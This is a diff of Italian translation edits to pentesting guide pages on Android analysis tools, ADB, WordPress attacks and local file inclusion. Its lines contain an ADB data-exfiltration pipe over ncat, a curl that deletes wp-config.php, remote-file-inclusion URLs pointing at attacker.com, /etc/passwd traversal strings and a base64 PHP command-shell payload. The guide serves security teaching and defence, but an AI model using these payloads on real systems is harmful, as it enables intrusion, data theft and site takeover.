 ### [Yaazhini](https://www.vegabird.com/yaazhini/)
 
-Questo è un **ottimo strumento per eseguire analisi statiche con una GUI**
+Questo è un **ottimo strumento per eseguire analisi statiche con un'interfaccia grafica**
 
 ![](<../../images/image (741).png>)
 
 ### [Qark](https://github.com/linkedin/qark)
 
-Questo strumento è progettato per cercare diverse **vulnerabilità delle applicazioni Android relative alla sicurezza**, sia nel **codice sorgente** che nei **APK confezionati**. Lo strumento è anche **capace di creare un APK "Proof-of-Concept" deployabile** e **comandi ADB**, per sfruttare alcune delle vulnerabilità trovate (Attività esposte, intenti, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test.
+Questo strumento è progettato per cercare diverse **vulnerabilità relative alla sicurezza delle applicazioni Android**, sia nel **codice sorgente** che nei **APK confezionati**. Lo strumento è anche **capace di creare un APK "Proof-of-Concept" deployabile** e **comandi ADB**, per sfruttare alcune delle vulnerabilità trovate (Attività esposte, intenti, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test.
 ```bash
 pip3 install --user qark  # --user is only needed if not using a virtualenv
 qark --apk path/to/my.apk
@@ -644,7 +644,7 @@ super-analyzer {apk_file}
 
 StaCoAn è uno strumento **crossplatform** che aiuta sviluppatori, cacciatori di bug e hacker etici a eseguire [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) su applicazioni mobili.
 
-Il concetto è che puoi trascinare e rilasciare il file della tua applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e genererà un report visivo e portatile per te. Puoi modificare le impostazioni e le wordlist per ottenere un'esperienza personalizzata.
+Il concetto è che puoi trascinare e rilasciare il file della tua applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e genererà un report visivo e portatile per te. Puoi modificare le impostazioni e le liste di parole per ottenere un'esperienza personalizzata.
 
 Scarica[ latest release](https://github.com/vincentcox/StaCoAn/releases):
 ```
@@ -662,9 +662,9 @@ androbugs.exe -f [APK file]
 
 **Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvisare l'utente riguardo a potenziali comportamenti malevoli sviluppati da un'applicazione Android.
 
-Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, con la libreria [`androguard`](https://github.com/androguard/androguard).
+Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard).
 
-Questo strumento cerca **comportamenti comuni di applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
+Questo strumento cerca **comportamenti comuni delle applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
 ```
 python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 ```
@@ -715,7 +715,7 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg
 
 Puoi caricare un APK offuscato sulla loro piattaforma.
 
-### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
+### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
 
 Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app Android e deoffuscare il codice delle app Android. Utilizza l'API pubblica di Google Gemini.
 
@@ -729,7 +729,7 @@ APKiD ti fornisce informazioni su **come è stato creato un APK**. Identifica mo
 
 ### Manuale
 
-[Leggi questo tutorial per imparare alcuni trucchi su **come fare reverse engineering di offuscazioni personalizzate**](manual-deobfuscation.md)
+[Leggi questo tutorial per imparare alcuni trucchi su **come fare il reverse engineering di offuscazioni personalizzate**](manual-deobfuscation.md)
 
 ## Laboratori
 

src/network-services-pentesting/5555-android-debug-bridge.md

@@ -4,7 +4,7 @@
 
 ## Informazioni di base
 
-Dai [documenti](https://developer.android.com/studio/command-line/adb):
+Dalla [documentazione](https://developer.android.com/studio/command-line/adb):
 
 Android Debug Bridge (adb) è uno strumento da riga di comando per comunicare con dispositivi e emulatori basati su Android. Le azioni tipiche includono l'installazione di pacchetti, il debug e l'ottenimento di una shell Unix interattiva sul dispositivo.
 
@@ -58,10 +58,10 @@ cp -a /data/data/<pkg> /sdcard/<pkg>
 exit
 adb pull "/sdcard/<pkg>"
 ```
-- Artefatti di sistema utili (richiesto root):
+- Artefatti di sistema utili (richiesta di root):
 - /data/system/users/0/accounts.db e dati relativi a AccountManager
 - /data/misc/wifi/ (configurazioni/chiavi di rete su versioni più vecchie)
-- DB SQLite specifici dell'app e shared_prefs sotto /data/data/<pkg>
+- DB SQLite specifici per app e shared_prefs sotto /data/data/<pkg>
 
 Puoi usare questo per recuperare informazioni sensibili (ad es., segreti dell'app). Per note sulle considerazioni sui dati di Chrome, vedi il problema menzionato [qui](https://github.com/carlospolop/hacktricks/issues/274).
 
@@ -69,7 +69,7 @@ Puoi usare questo per recuperare informazioni sensibili (ad es., segreti dell'ap
 
 - Installa e concedi automaticamente permessi di runtime:
 ```bash
-adb install -r -g payload.apk         # -g concede tutti i permessi di runtime dichiarati nel manifest
+adb install -r -g payload.apk         # -g concede tutti i permessi di runtime dichiarati nel manifesto
 adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
 ```
 - Avvia attività/servizi/broadcast direttamente:
@@ -100,7 +100,7 @@ ncat -lvp 9000 > dump.tar
 adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
 ```
 
-## Debugging Wireless (Android 11+)
+## Debugging wireless (Android 11+)
 
 Android moderno implementa il debugging wireless protetto da TLS con accoppiamento lato dispositivo e scoperta mDNS:
 ```bash

src/network-services-pentesting/pentesting-web/wordpress.md

@@ -17,7 +17,7 @@
 - `index.php`
 - `license.txt` contiene informazioni utili come la versione di WordPress installata.
 - `wp-activate.php` è utilizzato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
-- Cartelle di login (possono essere rinominate per nasconderle):
+- Cartelle di login (potrebbero essere rinominate per nasconderle):
 - `/wp-admin/login.php`
 - `/wp-admin/wp-login.php`
 - `/login.php`
@@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
 
 ![](<../../images/image (1111).png>)
 
-- File di collegamento CSS
+- file di collegamento CSS
 
 ![](<../../images/image (533).png>)
 
-- File JavaScript
+- file JavaScript
 
 ![](<../../images/image (524).png>)
 
@@ -107,7 +107,7 @@ Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare indirizzi IP.
 
 ### XML-RPC
 
-Se `xml-rpc.php` è attivo, puoi eseguire un attacco di forza bruta sulle credenziali o usarlo per lanciare attacchi DoS su altre risorse. (Puoi automatizzare questo processo[ usando questo](https://github.com/relarizky/wpxploit) per esempio).
+Se `xml-rpc.php` è attivo, puoi eseguire un attacco di forza bruta sulle credenziali o usarlo per lanciare attacchi DoS su altre risorse. (Puoi automatizzare questo processo[ usando questo](https://github.com/relarizky/wpxploit) ad esempio).
 
 Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
 
@@ -138,7 +138,7 @@ Il messaggio _"Nome utente o password errati"_ all'interno di una risposta con c
 
 ![](<../../images/image (721).png>)
 
-Utilizzando le credenziali corrette puoi caricare un file. Nella risposta apparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
+Utilizzando le credenziali corrette, puoi caricare un file. Nella risposta apparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
 ```html
 <?xml version='1.0' encoding='utf-8'?>
 <methodCall>
@@ -178,7 +178,7 @@ Questo metodo è destinato ai programmi e non agli esseri umani, ed è vecchio,
 
 **DDoS o scansione delle porte**
 
-Se riesci a trovare il metodo _**pingback.ping**_ all'interno dell'elenco, puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\
+Se riesci a trovare il metodo _**pingback.ping**_ all'interno dell'elenco, puoi far inviare a Wordpress una richiesta arbitraria a qualsiasi host/porta.\
 Questo può essere utilizzato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una **posizione** (quindi si causa un **DDoS** in quella posizione) oppure puoi usarlo per far **scansionare** a **Wordpress** qualche **rete** interna (puoi indicare qualsiasi porta).
 ```html
 <methodCall>
@@ -211,13 +211,13 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
 
 Questo file di solito esiste nella radice del sito Wordpress: **`/wp-cron.php`**\
 Quando questo file è **accesso**, viene eseguita una **query** MySQL "**pesante**", quindi potrebbe essere utilizzato da **attaccanti** per **causare** un **DoS**.\
-Inoltre, per impostazione predefinita, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una qualsiasi pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
+Inoltre, per impostazione predefinita, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
 
 Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
 
 ### /wp-json/oembed/1.0/proxy - SSRF
 
-Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il sito Worpress potrebbe fare una richiesta a te.
+Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il sito Wordpress potrebbe fare una richiesta a te.
 
 Questa è la risposta quando non funziona:
 
@@ -262,14 +262,14 @@ Puoi usare:
 ```bash
 use exploit/unix/webapp/wp_admin_shell_upload
 ```
-per ottenere una sessione.
+to get a session.
 
 ## Plugin RCE
 
-### Plugin PHP
+### PHP plugin
 
 Potrebbe essere possibile caricare file .php come plugin.\
-Crea il tuo backdoor php utilizzando ad esempio:
+Crea il tuo php backdoor usando ad esempio:
 
 ![](<../../images/image (183).png>)
 
@@ -293,34 +293,34 @@ Accedila e vedrai l'URL per eseguire la reverse shell:
 
 ![](<../../images/image (1006).png>)
 
-### Caricamento e attivazione di un plugin malevolo
+### Uploading and activating malicious plugin
 
-Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito attraverso la dashboard di WordPress come segue:
+Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite la dashboard di WordPress come segue:
 
-1. **Acquisizione del Plugin**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
-2. **Installazione del Plugin**:
+1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB come [**qui**](https://www.exploit-db.com/exploits/36374).
+2. **Plugin Installation**:
 - Naviga nella dashboard di WordPress, poi vai su `Dashboard > Plugins > Upload Plugin`.
 - Carica il file zip del plugin scaricato.
-3. **Attivazione del Plugin**: Una volta che il plugin è stato installato con successo, deve essere attivato tramite la dashboard.
-4. **Sfruttamento**:
+3. **Plugin Activation**: Una volta che il plugin è stato installato con successo, deve essere attivato tramite la dashboard.
+4. **Exploitation**:
 - Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
 - Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, può essere stabilita una sessione meterpreter, concedendo accesso non autorizzato al sito.
 - Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
 
-Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il pentesting con permesso esplicito.
+Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere utilizzate responsabilmente e solo in un contesto legale, come il penetration testing con esplicita autorizzazione.
 
 **Per passaggi più dettagliati controlla:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
 
-## Da XSS a RCE
+## From XSS to RCE
 
-- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X. e consente di:**
-- _**Elevazione dei privilegi:**_ Crea un utente in WordPress.
-- _**(RCE) Caricamento di Plugin Personalizzati (backdoor):**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
-- _**(RCE) Modifica di Plugin Integrati:**_ Modifica un Plugin Integrato in WordPress.
-- _**(RCE) Modifica di Temi Integrati:**_ Modifica un Tema Integrato in WordPress.
-- _**(Personalizzato) Exploits Personalizzati:**_ Exploits Personalizzati per Plugin/Temi di Terze Parti di WordPress.
+- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una **vulnerabilità Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per ulteriori informazioni controlla [**questo post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per le versioni di Wordpress 6.X.X, 5.X.X e 4.X.X e consente di:**
+- _**Privilege Escalation:**_ Crea un utente in WordPress.
+- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
+- _**(RCE) Built-In Plugin Edit:**_ Modifica un plugin integrato in WordPress.
+- _**(RCE) Built-In Theme Edit:**_ Modifica un tema integrato in WordPress.
+- _**(Custom) Custom Exploits:**_ Exploits personalizzati per plugin/temi di terze parti di WordPress.
 
-## Post Sfruttamento
+## Post Exploitation
 
 Estrai nomi utente e password:
 ```bash
@@ -334,11 +334,11 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
 
 ### Superficie di Attacco
 
-Conoscere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nelle sue funzionalità. Puoi scoprire come un plugin potrebbe esporre funzionalità nei seguenti punti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
+Conoscere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nelle sue funzionalità. Puoi trovare come un plugin potrebbe esporre funzionalità nei seguenti punti e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
 
 - **`wp_ajax`**
 
-Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite i gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è piuttosto frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di Wordpress che **qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
+Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite gestori AJAX. Questi potrebbero contenere bug di logica, autorizzazione o autenticazione. Inoltre, è piuttosto frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un nonce di wordpress che **qualsiasi utente autenticato nell'istanza di Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
 
 Queste sono le funzioni che possono essere utilizzate per esporre una funzione in un plugin:
 ```php
@@ -348,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
 **L'uso di `nopriv` rende l'endpoint accessibile da qualsiasi utente (anche quelli non autenticati).**
 
 > [!CAUTION]
-> Inoltre, se la funzione sta solo controllando l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa funzione sta solo verificando che l'utente sia connesso, di solito non controlla il ruolo dell'utente. Quindi, gli utenti a basso privilegio potrebbero avere accesso ad azioni ad alto privilegio.
+> Inoltre, se la funzione sta solo controllando l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa funzione sta solo verificando che l'utente sia connesso, di solito non controlla il ruolo dell'utente. Quindi, gli utenti con privilegi bassi potrebbero avere accesso ad azioni con privilegi elevati.
 
 - **REST API**
 
@@ -411,11 +411,11 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
 -d 'action=litho_remove_font_family_action_data' \
 -d 'fontfamily=../../../../wp-config.php'
 ```
-Perché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze di `../` sono sufficienti su un'installazione predefinita. Cancellare `wp-config.php` costringe WordPress a entrare nel *wizard di installazione* alla visita successiva, consentendo un completo takeover del sito (l'attaccante fornisce semplicemente una nuova configurazione del DB e crea un utente admin).
+Perché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze di `../` sono sufficienti su un'installazione predefinita. Eliminare `wp-config.php` costringe WordPress a entrare nel *wizard di installazione* alla visita successiva, consentendo un completo takeover del sito (l'attaccante fornisce semplicemente una nuova configurazione del DB e crea un utente admin).
 
 Altri obiettivi impattanti includono file `.php` di plugin/tema (per compromettere i plugin di sicurezza) o regole `.htaccess`.
 
-#### Checklist di rilevamento
+#### Lista di controllo per la rilevazione
 
 * Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiama helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.).
 * Concatenazione di input utente non sanitizzati nei percorsi (cerca `$_POST`, `$_GET`, `$_REQUEST`).
@@ -446,11 +446,11 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
 
 ---
 
-### Escalation dei privilegi tramite ripristino di ruolo obsoleto e autorizzazione mancante (ASE "Visualizza Admin come Ruolo")
+### Escalation dei privilegi tramite ripristino di ruoli obsoleti e autorizzazione mancante (ASE "Visualizza Admin come Ruolo")
 
-Molti plugin implementano una funzione "visualizza come ruolo" o di cambio temporaneo di ruolo salvando il/i ruolo/i originali nei meta utente in modo che possano essere ripristinati in seguito. Se il percorso di ripristino si basa solo su parametri di richiesta (ad es., `$_REQUEST['reset-for']`) e su un elenco mantenuto dal plugin senza controllare le capacità e un nonce valido, questo diventa un'escalation verticale dei privilegi.
+Molti plugin implementano una funzione "visualizza come ruolo" o di cambio temporaneo di ruolo salvando il/i ruolo/i originale/i nei meta utente in modo che possano essere ripristinati in seguito. Se il percorso di ripristino si basa solo su parametri di richiesta (ad es., `$_REQUEST['reset-for']`) e su un elenco mantenuto dal plugin senza controllare le capacità e un nonce valido, questo diventa un'escalation verticale dei privilegi.
 
-Un esempio del mondo reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di ripristino ripristinava i ruoli basati su `reset-for=<username>` se il nome utente appariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati dai meta utente `_asenha_view_admin_as_original_roles`:
+Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di ripristino ripristinava i ruoli basati su `reset-for=<username>` se il nome utente appariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati dai meta utente `_asenha_view_admin_as_original_roles`:
 ```php
 // Simplified vulnerable pattern
 if ( isset( $_REQUEST['reset-for'] ) ) {
@@ -474,7 +474,7 @@ Perché è sfruttabile
 Prerequisiti per l'attacco
 
 - Versione vulnerabile del plugin con la funzione abilitata.
-- L'account target ha un ruolo di alta privilegio obsoleto memorizzato nei meta utente da un uso precedente.
+- L'account target ha un ruolo di alta privilegio obsoleto memorizzato nei meta dell'utente da un uso precedente.
 - Qualsiasi sessione autenticata; nonce/capacità mancanti nel flusso di reset.
 
 Sfruttamento (esempio)
@@ -485,7 +485,7 @@ Sfruttamento (esempio)
 curl -s -k -b 'wordpress_logged_in=...' \
 'https://victim.example/wp-admin/?reset-for=<your_username>'
 ```
-Su build vulnerabili, questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (ad es., `administrator`), aumentando effettivamente i privilegi.
+Su build vulnerabili, questo rimuove i ruoli attuali e riaggiunge i ruoli originali salvati (ad es., `administrator`), aumentando effettivamente i privilegi.
 
 Checklist di rilevamento
 
@@ -498,9 +498,9 @@ Checklist di rilevamento
 Rinforzo
 
 - Applica controlli di capacità su ogni ramo che modifica lo stato (ad es., `current_user_can('manage_options')` o più rigoroso).
-- Richiedi nonce per tutte le mutazioni di ruolo/permissi e verifiche: `check_admin_referer()` / `wp_verify_nonce()`.
+- Richiedi nonce per tutte le mutazioni di ruolo/permissi e verificale: `check_admin_referer()` / `wp_verify_nonce()`.
 - Non fidarti mai dei nomi utente forniti nella richiesta; risolvi l'utente target lato server in base all'attore autenticato e a una politica esplicita.
-- Invalidare lo stato dei “ruoli originali” sugli aggiornamenti del profilo/ruolo per evitare il ripristino di privilegi elevati obsoleti:
+- Invalida lo stato dei “ruoli originali” durante gli aggiornamenti del profilo/ruolo per evitare il ripristino di privilegi elevati obsoleti:
 ```php
 add_action( 'profile_update', function( $user_id ) {
 delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
@@ -520,7 +520,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
 add_filter( 'auto_update_plugin', '__return_true' );
 add_filter( 'auto_update_theme', '__return_true' );
 ```
-Anche, **installa solo plugin e temi WordPress affidabili**.
+Also, **installa solo plugin e temi WordPress affidabili**.
 
 ### Plugin di Sicurezza
 
@@ -536,7 +536,6 @@ Anche, **installa solo plugin e temi WordPress affidabili**.
 - **Limita i tentativi di accesso** per prevenire attacchi di Brute Force
 - Rinomina il file **`wp-admin.php`** e consenti l'accesso solo internamente o da determinati indirizzi IP.
 
-
 ### SQL Injection non autenticata tramite validazione insufficiente (WP Job Portal <= 2.3.2)
 
 Il plugin di reclutamento WP Job Portal ha esposto un'attività **savecategory** che alla fine esegue il seguente codice vulnerabile all'interno di `modules/category/model.php::validateFormData()`:
@@ -553,7 +552,7 @@ Problemi introdotti da questo frammento:
 
 1. **Input utente non sanitizzato** – `parentid` proviene direttamente dalla richiesta HTTP.
 2. **Concatenazione di stringhe all'interno della clausola WHERE** – nessun `is_numeric()` / `esc_sql()` / dichiarazione preparata.
-3. **Accessibilità non autenticata** – anche se l'azione viene eseguita tramite `admin-post.php`, l'unico controllo presente è un **nonce CSRF** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
+3. **Accessibilità non autenticata** – sebbene l'azione venga eseguita tramite `admin-post.php`, l'unico controllo presente è un **nonce CSRF** (`wp_verify_nonce()`), che qualsiasi visitatore può recuperare da una pagina pubblica che incorpora lo shortcode `[wpjobportal_my_resumes]`.
 
 #### Sfruttamento
 
@@ -580,7 +579,7 @@ $file = $path . '/' . $file_name;
 ...
 echo $wp_filesystem->get_contents($file); // raw file output
 ```
-`$file_name` è controllato dall'attaccante e concatenato **senza sanificazione**. Ancora una volta, l'unico ostacolo è un **CSRF nonce** che può essere recuperato dalla pagina di resume.
+`$file_name` è controllato dall'attaccante e concatenato **senza sanificazione**. Ancora una volta, l'unico ostacolo è un **CSRF nonce** che può essere recuperato dalla pagina di riepilogo.
 
 #### Sfruttamento
 ```bash

src/pentesting-web/file-inclusion/README.md

@@ -84,13 +84,13 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
 ### Esplorare le Directory del File System su un Server
 
-Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando determinate tecniche. Questo processo implica la determinazione della profondità della directory e la verifica dell'esistenza di specifiche cartelle. Di seguito è riportato un metodo dettagliato per raggiungere questo obiettivo:
+Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando determinate tecniche. Questo processo implica la determinazione della profondità della directory e la ricerca dell'esistenza di cartelle specifiche. Di seguito è riportato un metodo dettagliato per raggiungere questo obiettivo:
 
 1. **Determinare la Profondità della Directory:** Accertati della profondità della tua directory attuale recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Esplora le Cartelle:** Aggiungi il nome della cartella sospetta (ad esempio, `private`) all'URL, quindi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
+2. **Indagare sulle Cartelle:** Aggiungi il nome della cartella sospetta (ad esempio, `private`) all'URL, quindi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
@@ -111,7 +111,7 @@ In PHP, varie rappresentazioni di un percorso di file possono essere considerate
 
 - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` sono tutti trattati come lo stesso percorso.
 - Quando gli ultimi 6 caratteri sono `passwd`, aggiungere un `/` (rendendolo `passwd/`) non cambia il file mirato.
-- Allo stesso modo, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere un `/.` alla fine non altererà il file a cui si accede.
+- Allo stesso modo, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere `/.` alla fine non altererà il file a cui si accede.
 
 Gli esempi forniti dimostrano come utilizzare il troncamento del percorso per accedere a `/etc/passwd`, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):
 ```
@@ -123,13 +123,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-In questi scenari, il numero di traversate necessarie potrebbe essere intorno al 2027, ma questo numero può variare in base alla configurazione del server.
+In questi scenari, il numero di traversals necessari potrebbe essere intorno al 2027, ma questo numero può variare in base alla configurazione del server.
 
-- **Utilizzo di Segmenti di Punto e Caratteri Aggiuntivi**: Le sequenze di traversata (`../`) combinate con segmenti di punto extra e caratteri possono essere utilizzate per navigare nel file system, ignorando efficacemente le stringhe aggiunte dal server.
-- **Determinazione del Numero Richiesto di Traversate**: Attraverso tentativi ed errori, si può trovare il numero preciso di sequenze `../` necessarie per navigare fino alla directory radice e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) siano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
+- **Utilizzo di Dot Segments e Caratteri Aggiuntivi**: Le sequenze di traversal (`../`) combinate con segmenti di punto extra e caratteri possono essere utilizzate per navigare nel file system, ignorando efficacemente le stringhe aggiunte dal server.
+- **Determinazione del Numero Richiesto di Traversals**: Attraverso tentativi ed errori, si può trovare il numero preciso di sequenze `../` necessarie per navigare fino alla directory radice e poi a `/etc/passwd`, assicurandosi che eventuali stringhe aggiunte (come `.php`) siano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto.
 - **Inizio con una Directory Fittizia**: È una pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene utilizzata come misura precauzionale o per soddisfare i requisiti della logica di parsing del percorso del server.
 
-Quando si impiegano tecniche di troncamento del percorso, è fondamentale comprendere il comportamento di parsing del percorso del server e la struttura del file system. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
+Quando si impiegano tecniche di troncamento del percorso, è fondamentale comprendere il comportamento di parsing del percorso del server e la struttura del filesystem. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
 
 **Questa vulnerabilità è stata corretta in PHP 5.3.**
 
@@ -148,7 +148,7 @@ In php questo è disabilitato per impostazione predefinita perché **`allow_url_
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo data con base64 per decodificare un codice PHP b64 e ottenere RCE:
+Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo dati con base64 per decodificare un codice PHP b64 e ottenere RCE:
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
@@ -213,7 +213,7 @@ Ecco un elenco dei 25 parametri principali che potrebbero essere vulnerabili a v
 
 ### php://filter
 
-I filtri PHP consentono di eseguire operazioni di **modifica di base sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
+I filtri PHP consentono di eseguire operazioni di **modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
 
 - [String Filters](https://www.php.net/manual/en/filters.string.php):
 - `string.rot13`
@@ -229,7 +229,7 @@ I filtri PHP consentono di eseguire operazioni di **modifica di base sui dati**
